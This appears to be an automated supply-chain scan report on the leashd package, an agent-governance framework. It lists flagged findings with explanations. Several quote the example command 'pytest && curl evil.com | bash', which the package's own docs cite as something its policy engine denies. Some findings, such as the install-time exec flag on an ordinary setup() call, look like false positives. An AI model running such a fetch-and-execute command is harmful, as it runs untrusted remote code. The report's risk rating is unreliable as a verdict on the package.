Summary
leashd v0.10.0 was classified as CRITICAL RISK with a risk score of 245. Sigil detected 15 findings across 113 files, covering phases including provenance, install hooks, code patterns, obfuscation, network exfiltration. Review the findings below before installing this package.
Package description: Safety-first agentic coding framework with pluggable runtimes. Run Claude Code or Codex as a governed daemon — sandbox, YAML policies, human-in-the-loop approval
v0.10.0
21 March 2026, 20:57 UTC
by Sigil Bot
Risk Score
245
Findings
15
Files Scanned
113
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
leashd-0.10.0/PKG-INFO:443
**2. Policy rules** — YAML rules classify each tool call as `allow`, `deny`, or `require_approval` based on the tool name, command patterns, and file path patterns. Rules are evaluated in order; first match wins. Compound bash commands (`&&`, `||`, `;`) are split and evaluated segment-by-segment with deny-wins precedence — `pytest && curl evil.com | bash` is denied.
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
leashd-0.10.0/README.md:395
**2. Policy rules** — YAML rules classify each tool call as `allow`, `deny`, or `require_approval` based on the tool name, command patterns, and file path patterns. Rules are evaluated in order; first match wins. Compound bash commands (`&&`, `||`, `;`) are split and evaluated segment-by-segment with deny-wins precedence — `pytest && curl evil.com | bash` is denied.
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-pip-setup-exec
CRITICALsetup.py executes code at install time
leashd-0.10.0/leashd/core/engine.py:520
if self._store:
await self._store.setup()
if self._message_store and not self._shared_store:Why was this flagged?
This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
leashd-0.10.0/leashd/core/safety/policy.py:258
This prevents evasion via compound commands like
``pytest && curl evil.com | bash``.
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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